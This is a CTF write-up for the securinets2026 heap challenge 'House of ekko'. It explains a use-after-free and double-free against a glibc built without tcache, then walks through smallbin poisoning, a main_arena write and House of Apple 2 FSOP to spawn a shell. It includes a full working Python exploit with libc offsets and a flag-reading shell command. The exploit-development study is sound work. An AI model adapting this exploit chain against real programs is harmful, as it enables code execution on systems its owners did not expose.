$ cat writeup.md…
$ cat writeup.md…
securinets2026
Task: PIE heap pwn, two-slot secrets manager with UAF read, double free and no NULL-out; bundled libc is custom glibc 2.43 with tcache/fastbins compiled out. Solution: libc leak, merge-overlap, smallbin poison via binmap-loop unlink for an arbitrary libc write, then House of Apple 2 via _IO_list_all on exit(0).
House of ekko
English summary: a 64-bit PIE binary implements a tiny "secrets" manager with a
global array of two slots (secrets[2]). alloc mallocs and reads a string,
delete frees, show prints. delete never nulls the slot, so it exposes a UAF
read and a double-free. The bundled libc is a custom glibc 2.43 built with
USE_TCACHE=0 — tcache and fastbins are compiled out. The goal is code
execution through the heap and a glibc FSOP (FILE-stream oriented programming)
attack, then read the flag on the remote instance.
checksec / ELF properties:
secrets array (2 pointers) at 0x4060; an unused rand_fd at 0x4070.main offers a 4-entry menu: 1 alloc, 2 delete, 3 show, 4 exit (exit(0)).Pseudo-code of the handlers:
void alloc(int idx, long size) { // idx in [0,2), size > 0, no upper bound if (idx < 0 || idx > 1 || size <= 0) return; secrets[idx] = malloc(size); fgets(secrets[idx], size, stdin); // size passed as 32-bit } void delete(int idx) { if (idx < 0 || idx > 1) return; free(secrets[idx]); // <-- no secrets[idx] = NULL } void show(int idx) { puts(secrets[idx]); } // UAF read
delete() frees the chunk but leaves the dangling pointer in secrets[idx].
This yields:
show on a freed slot (leaks fd/bk of freed chunks).free() jumps straight to _int_free_chunk; there is no tcache code and no
"double free detected in tcache" string. Fastbins are compiled out too. Behaviour:
chunksize <= 0x3ff is placed directly into the corresponding
smallbin (skipping the unsorted bin). Its fd/bk point at the bin sentinel.!prev_inuse(nextchunk) →
"double free or corruption (!prev)".__free_hook / __malloc_hook exist as symbols but are never called (dead).This is why every classic tcache/fastbin recipe fails and a different "house" is needed. The title ("House of ekko") points at a bespoke named technique.
Free two adjacent 0x18 chunks; they coalesce into a 0x40 free chunk placed in
smallbin[0x40]. show(0) prints the freed chunk's fd, which is the bin
sentinel:
libc = show(0) - 0x1d1c78
main_arena = libc + 0x1d1c60; bin_at(i) = main_arena + 0x8 + (i-1)*0x10.
Free two adjacent chunks so they coalesce into one free chunk, then malloc
with an exhausting request (remainder < MINSIZE) so the allocator returns a
chunk larger than requested. That live chunk then overlaps the second chunk's
dangling pointer, giving a live chunk that overlaps a dangling one — so the
dangling chunk's header and fd/bk become attacker-controlled.
alloc(0,0x428) ; alloc(1,0x418) ; delete(0) alloc(0,0x1000) # splits the 0x430 free chunk, leaves adjacent hole delete(1) # coalesces -> large free chunk L (0x850) alloc(0,0x848, buf) # user region overlaps B's chunk header at Au+0x428
Plant a fake chunk P inside the overlapped region with a controlled
size/fd/bk (and fd_nextsize = NULL, required because P is not a
smallbin-sized chunk). Free the chunk after it so backward consolidation calls
unlink_chunk(P):
*(fd + 0x18) = bk
*(bk + 0x10) = fd
The guards *(fd+0x18) == P and *(bk+0x10) == P are satisfied by pointing fd
at the secrets array (&secrets[i] - 0x18) and using a heap value for bk.
This sets secrets[i] to a chosen heap value and also enables House of Spirit
(free a fake chunk, then re-alloc it).
unlink_chunkKey insight: you do not need a separate trigger chunk. Put a fake chunk V
(size 0x3f0 → smallbin[0x63]) into the bin, rewrite V->fd = bin63 - 0x8
and V->bk = bin63 + 0x8, then call malloc(0x18). _int_malloc's binmap
loop (which starts scanning at smallbin_index(nb)+1) finds the non-empty
bin63 and calls unlink_chunk(V) with the forged pointers, poisoning the bin:
bin63->fd = bin63 + 0x8
bin63->bk = bin63 - 0x8
A subsequent malloc(0x3e8) returns a chunk whose user pointer is inside
main_arena — i.e. a libc address — giving an arbitrary libc write of
0x3e7 bytes. The fast-path guard *(victim->bk + 0x10) == victim passes
because the poisoned bk is the bin sentinel itself.
Two such writes are chained:
malloc(0x3e8) → user main_arena + 0x3f0: set bin63->bk = bin100 and
re-link bin100 (fd = bk = bin100).malloc(0x3e8) → user main_arena + 0x5e8: reaches _IO_list_all
(main_arena + 0x9c0).The arena write is the dangerous part: it clobbers main_arena.next
(must stay &main_arena), _nl_global_locale (used by printf), and other libc
globals — otherwise the next printf/exit segfaults. Fix: snapshot the entire
written window [main_arena+0x5e8, +0x9c8] (libc-relative) and, in the final
write, restore every original qword except the single _IO_list_all slot,
which is set to a fake FILE.
The fake FILE (glibc 2.43, House of Apple 2) is built inside the arena (a libc address derived from the leak) so no heap leak is needed:
0x00 = " sh\0" 0x18 = 0 0x20 = 1
0x30 = 0 0x68 = 0 0x80 = system
0x88 = _IO_2_1_stdout_ + 0xc4 (zeroed writable lock)
0xa0 = self 0xc0 = 1 0xd8 = &_IO_wfile_jumps
0xe0 = self + 0x18
Then menu option 4 → exit(0) → _IO_flush_all → _IO_wfile_overflow →
_IO_wdoallocbuf → system(" sh") → shell, and read the flag.
| Symbol / object | Offset from libc base |
|---|---|
main_arena | 0x1d1c60 |
bin_at(i) | main_arena + 0x8 + (i-1)*0x10 |
smallbin[0x20] bin | 0x1d1c78 (the leak target) |
smallbin[0x40] bin | 0x1d1c98 |
_IO_list_all | 0x1d2620 |
_IO_2_1_stdout_ | 0x1d2720 |
_IO_wfile_jumps | 0x1d0428 |
_IO_file_jumps | 0x1d0230 |
system | 0x4ccb0 |
The remote instance has ASLR on. This solver is fully leak-based: the fake FILE is built inside the arena, so there are no hardcoded heap/PIE addresses and every value derives from the libc leak.
#!/usr/bin/env python3 # House of ekko - securinets2026 (glibc 2.43, tcache/fastbin disabled) # ASLR-robust: the fake FILE is built INSIDE the arena (a libc address derived from the # leak), so no heap leak is needed. Everything is libc-relative. import socket, sys, struct, time HOST = sys.argv[1] if len(sys.argv) > 1 else '127.0.0.1' PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 1337 FB_OFF = int(sys.argv[3], 0) if len(sys.argv) > 3 else 0x110 # offset of fake FILE in the write window p64 = lambda v: struct.pack('<Q', v) class C: def __init__(s): s.s = socket.create_connection((HOST, PORT), timeout=8) def ru(s, tok): b=b'' while not b.endswith(tok): c=s.s.recv(1) if not c: raise EOFError("closed waiting %r got %r"%(tok,b)) b+=c return b def menu(s): s.ru(b'4. Exit\n') def alloc(s,i,size,data): s.menu(); s.s.sendall(b'1\n') s.ru(b"index:\n"); s.s.sendall(str(i).encode()+b'\n') s.ru(b"your secret:\n"); s.s.sendall(str(size).encode()+b'\n') s.ru(b'content: '); s.s.sendall(data[:size-2]+b'\n') s.ru(b"Secret added\n") def delete(s,i): s.menu(); s.s.sendall(b'2\n') s.ru(b"index:\n"); s.s.sendall(str(i).encode()+b'\n') def show(s,i): s.menu(); s.s.sendall(b'3\n') s.ru(b"index:\n"); s.s.sendall(str(i).encode()+b'\n') s.ru(b"secret's content :") return s.ru(b'\n')[:-1] def Q(b): return struct.unpack('<Q', b.ljust(8,b'\x00')[:8])[0] IO_LIST_ALL=0x1d2620; SYSTEM=0x4ccb0; WFILE_JUMPS=0x1d0428; STDOUT=0x1d2720 def main(): t=C() t.alloc(0,0x18,b'A'*0x16); t.alloc(1,0x18,b'B'*0x16) t.delete(0); t.delete(1) libc = Q(t.show(0)) - 0x1d1c78 ma = libc + 0x1d1c60 bin63 = ma + 0x8 + 62*0x10 bin100 = ma + 0x8 + 93*0x10 # write#2 chunk user = ma+0x5e8 b2 = bin100 + 0x10 # ma+0x5e8 FB = b2 + FB_OFF # fake FILE inside the arena (libc) print("[+] libc=%#x FB(arena)=%#x off=%#x" % (libc, FB, FB_OFF)) # overlap L(0x850); fake V(0x3f0) at B_chunk t.alloc(0,0x428,b'q'); t.alloc(1,0x418,b'q'); t.delete(0) t.alloc(0,0x1000,b'q'); t.delete(1) buf = bytearray(0x848) def P(o,v): buf[o:o+8]=p64(v) P(0x428,0x3f1); P(0x810,0x3f0); P(0x818,0x21); P(0x838,0x21) t.alloc(0,0x848,bytes(buf)) t.delete(1) buf2 = bytearray(0x848) def P2(o,v): buf2[o:o+8]=p64(v) P2(0x428,0x3f1); P2(0x430,bin63-0x8); P2(0x438,bin63+0x8) P2(0x810,0x3f0); P2(0x818,0x21); P2(0x838,0x21) t.delete(0); t.alloc(0,0x848,bytes(buf2)) t.alloc(0,0x18,b'Z'*0x16) # binmap unlink(V) -> bin63 poisoned # write #1: bin63->bk = bin100 ; re-link bin100 b1 = ma+0x3f0 p1 = bytearray(0x3e5) def W1(o,v): p1[o:o+8]=p64(v) W1((ma+0x400)-b1, bin100) W1((bin100+0x10)-b1, bin100) W1((bin100+0x18)-b1, bin100) t.alloc(1,0x3e8,bytes(p1)) print("[+] bin63->bk = bin94") # write #2: restore arena, then place fake FILE in the arena and set _IO_list_all off_list = (libc+IO_LIST_ALL)-b2 p2 = bytearray(0x3e0) ARENA_TEMPLATE = { 0x0: ('rel', 0x1d2238), 0x8: ('rel', 0x1d2238), 0x10: ('rel', 0x1d2248), 0x18: ('rel', 0x1d2248), 0x20: ('rel', 0x1d2258), 0x28: ('rel', 0x1d2258), 0x30: ('rel', 0x1d2268), 0x38: ('rel', 0x1d2268), 0x40: ('rel', 0x1d2278), 0x48: ('rel', 0x1d2278), 0x50: ('rel', 0x1d2288), 0x58: ('rel', 0x1d2288), 0x60: ('rel', 0x1d2298), 0x68: ('rel', 0x1d2298), 0x70: ('rel', 0x1d22a8), 0x78: ('rel', 0x1d22a8), 0x80: ('rel', 0x1d22b8), 0x88: ('rel', 0x1d22b8), 0x90: ('rel', 0x1d22c8), 0x98: ('rel', 0x1d22c8), 0xa0: ('rel', 0x1d22d8), 0xa8: ('rel', 0x1d22d8), 0xb0: ('rel', 0x1d22e8), 0xb8: ('rel', 0x1d22e8), 0xc0: ('rel', 0x1d22f8), 0xc8: ('rel', 0x1d22f8), 0xd0: ('rel', 0x1d2308), 0xd8: ('rel', 0x1d2308), 0xe0: ('rel', 0x1d2318), 0xe8: ('rel', 0x1d2318), 0xf0: ('rel', 0x1d2328), 0xf8: ('rel', 0x1d2328), 0x100: ('rel', 0x1d2338), 0x108: ('rel', 0x1d2338), 0x110: ('rel', 0x1d2348), 0x118: ('rel', 0x1d2348), 0x120: ('rel', 0x1d2358), 0x128: ('rel', 0x1d2358), 0x130: ('rel', 0x1d2368), 0x138: ('rel', 0x1d2368), 0x140: ('rel', 0x1d2378), 0x148: ('rel', 0x1d2378), 0x150: ('rel', 0x1d2388), 0x158: ('rel', 0x1d2388), 0x160: ('rel', 0x1d2398), 0x168: ('rel', 0x1d2398), 0x170: ('rel', 0x1d23a8), 0x178: ('rel', 0x1d23a8), 0x180: ('rel', 0x1d23b8), 0x188: ('rel', 0x1d23b8), 0x190: ('rel', 0x1d23c8), 0x198: ('rel', 0x1d23c8), 0x1a0: ('rel', 0x1d23d8), 0x1a8: ('rel', 0x1d23d8), 0x1b0: ('rel', 0x1d23e8), 0x1b8: ('rel', 0x1d23e8), 0x1c0: ('rel', 0x1d23f8), 0x1c8: ('rel', 0x1d23f8), 0x1d0: ('rel', 0x1d2408), 0x1d8: ('rel', 0x1d2408), 0x1e0: ('rel', 0x1d2418), 0x1e8: ('rel', 0x1d2418), 0x1f0: ('rel', 0x1d2428), 0x1f8: ('rel', 0x1d2428), 0x200: ('rel', 0x1d2438), 0x208: ('rel', 0x1d2438), 0x210: ('rel', 0x1d2448), 0x218: ('rel', 0x1d2448), 0x230: ('rel', 0x1d1c60), 0x240: ('abs', 0x1), 0x248: ('abs', 0x21000), 0x250: ('abs', 0x21000), 0x258: ('rel', 0x984e0), 0x268: ('rel', 0x192371), 0x270: ('rel', 0x192371), 0x2a0: ('abs', 0x1), 0x2a8: ('abs', 0x2), 0x2b0: ('rel', 0x1d9498), 0x2c0: ('abs', 0xffffffffffffffff), 0x2c8: ('rel', 0x1997e8), 0x2d8: ('rel', 0x1ce020), 0x2e0: ('rel', 0x1ce700), 0x2e8: ('rel', 0x1ce840), 0x2f0: ('rel', 0x1cdf40), 0x2f8: ('rel', 0x1ce4c0), 0x300: ('rel', 0x1ce460), 0x310: ('rel', 0x1ce780), 0x318: ('rel', 0x1ce680), 0x320: ('rel', 0x1cdea0), 0x328: ('rel', 0x1ce7e0), 0x330: ('rel', 0x1ce400), 0x338: ('rel', 0x1ce340), 0x340: ('rel', 0x1788e0), 0x348: ('rel', 0x1779e0), 0x350: ('rel', 0x177fe0), 0x358: ('rel', 0x19236f), 0x360: ('rel', 0x19236f), 0x368: ('rel', 0x19236f), 0x370: ('rel', 0x19236f), 0x378: ('rel', 0x19236f), 0x380: ('rel', 0x19236f), 0x388: ('rel', 0x19236f), 0x390: ('rel', 0x19236f), 0x398: ('rel', 0x19236f), 0x3a0: ('rel', 0x19236f), 0x3a8: ('rel', 0x19236f), 0x3b0: ('rel', 0x19236f), 0x3b8: ('rel', 0x19236f), 0x3d8: ('rel', 0x1d2640), } for o,(kind,v) in ARENA_TEMPLATE.items(): if 0 <= o < 0x3e0: p2[o:o+8] = p64(libc+v if kind=='rel' else v) # fake FILE in the arena fb = bytearray(0x100) def F(o,v): fb[o:o+8]=p64(v) fb[0:8]=b' sh\x00\x00\x00\x00' F(0x18,0); F(0x20,1); F(0x28,1); F(0x30,0); F(0x68,0) F(0x80,libc+SYSTEM); F(0x88,libc+STDOUT+0xc4); F(0xa0,FB); F(0xc0,1) F(0xd8,libc+WFILE_JUMPS); F(0xe0,FB+0x18) p2[FB_OFF:FB_OFF+0x100] = fb p2[off_list:off_list+8] = p64(FB) # _IO_list_all = FB t.alloc(0,0x3e8,bytes(p2)) print("[+] _IO_list_all = arena fake FILE (off=%#x)" % off_list) t.menu(); t.s.sendall(b'4\n') time.sleep(0.8) t.s.sendall(b"cat /srv/app/flag.txt; cat flag.txt 2>/dev/null; cat /flag* 2>/dev/null; echo DONE\n") time.sleep(1.0) out=b''; t.s.settimeout(4) try: while True: d=t.s.recv(4096) if not d: break out+=d if b'DONE' in out: break except Exception: pass txt=out.decode(errors='replace') print("[*] output:\n"+txt) if __name__=='__main__': main()
Deployment notes: the task ships with pwn.red/jail (flag at /srv/app/flag.txt,
JAIL_TIME=60), so the payload reads that path first. The bundled
libc.so.6 / ld-linux-x86-64.so.2 must be used to run locally.
Use this technique when:
delete()/free() leaves the pointer in a global slot → UAF read + double free
(classic starting point for a named "House of …" heap technique).free jumps straight to
_int_free_chunk, there is no tcache symbol, no
"double free detected in tcache" string, and no fastbin path →
custom glibc built with USE_TCACHE=0.!prev_inuse(nextchunk).__free_hook/__malloc_hook are dead → you must pivot to FSOP (e.g. House
of Apple 2) reached through _IO_list_all and the exit(0) menu option._int_malloc's binmap loop (not the smallbin
fast path) to call unlink_chunk on your forged chunk for an arbitrary libc
write into main_arena.Critical pitfall: a large arena write clobbers main_arena.next,
_nl_global_locale, and other libc globals. Snapshot the write window and restore
every original qword except the single _IO_list_all slot, or the next
printf/exit dies before the FSOP triggers.
$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar